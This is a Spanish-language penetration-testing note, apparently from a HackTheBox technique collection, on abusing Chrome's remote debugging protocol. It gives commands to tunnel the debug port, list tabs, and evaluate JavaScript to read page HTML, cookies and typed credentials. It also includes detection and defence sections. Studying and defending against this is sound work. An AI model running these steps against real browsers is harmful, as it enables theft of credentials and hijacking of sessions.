Chrome remote debugger abuse
Chrome (y otros navegadores basados en Chromium) ofrece un protocolo de depuración remota (Chrome DevTools Protocol, CDP). Cuando se arranca con --remote-debugging-port=PUERTO, el navegador abre un canal HTTP/WebSocket por el que cualquiera que llegue a ese puerto puede listar las pestañas abiertas, leer su contenido, ejecutar JavaScript en ellas y controlarlas como si tuviera las DevTools abiertas.
Esto aparece de forma habitual cuando en un servidor corre un Chrome headless automatizado (un bot, un scraper, una tarea programada) que inicia sesión solo en alguna aplicación interna. Si ese proceso se arrancó con depuración remota, su sesión queda expuesta. Se localiza buscando el flag en la lista de procesos:
ps aux | grep -i 'remote-debugging-port' # Linux
netstat -ano | findstr 9222 # Windows: puerto CDP a la escuchaTraer el puerto y enumerar pestañas
El puerto de depuración suele escuchar solo en localhost, así que primero se trae a la máquina atacante con un reenvío de puertos por SSH y luego se listan las pestañas por HTTP:
ssh -L 9222:127.0.0.1:9222 usuario@victima
curl http://127.0.0.1:9222/json # lista de pestañas + su webSocketDebuggerUrl
curl http://127.0.0.1:9222/json/version # version y User-Agent del navegadorCada pestaña trae un webSocketDebuggerUrl (ws://127.0.0.1:9222/devtools/page/<ID>). Conectando el propio Chrome del atacante a chrome://inspect/#devices (Configure -> 127.0.0.1:9222) se inspecciona la sesión de la víctima con la interfaz gráfica. Para automatizarlo, se manda un comando Runtime.evaluate por el WebSocket y se lee el DOM o las cookies:
# leer todo el HTML renderizado de la pestaña (incluye tokens y campos rellenados)
websocat ws://127.0.0.1:9222/devtools/page/<ID> \
<<< '{"id":1,"method":"Runtime.evaluate","params":{"expression":"document.documentElement.outerHTML"}}'
# volcar cookies de sesion via Network.getAllCookies
python3 -c "import asyncio,websockets,json ..." # o la libreria chrome-remote-interface / pychromeAl inspeccionar la pestaña mientras el proceso automatizado teclea su login, se capturan las credenciales (o se roba la cookie de sesión) de la aplicación interna. En la máquina Sightless, así se obtuvieron las credenciales de administrador de un panel Froxlor, que luego permitía ejecutar comandos como root.
Requisitos
Un navegador Chromium arrancado con --remote-debugging-port y alcance a ese puerto (directo o por túnel). El valor depende de qué haya cargado ese navegador: una sesión autenticada a una app interna es el premio.
Cómo detectarlo. La firma más directa es un proceso de navegador con --remote-debugging-port en su línea de comando (Event ID 4688 / Sysmon 1), que casi nunca es legítimo en producción. En red, tráfico HTTP a /json y conexiones WebSocket a /devtools/page/ desde un origen que no es la propia automatización, y un puerto CDP escuchando (9222 por defecto) delatan la exposición. Un túnel SSH con -L hacia ese puerto añade el contexto de exfiltración.
Defensa. No arrancar navegadores con depuración remota en producción; si es imprescindible, restringir el puerto a loopback con cortafuegos y a procesos concretos, y no automatizar logins con credenciales privilegiadas en un navegador depurable. El robo de cookie desemboca en secuestro de sesión o en reutilización de credenciales.
Máquinas donde se aplica
- SightlessHackTheBox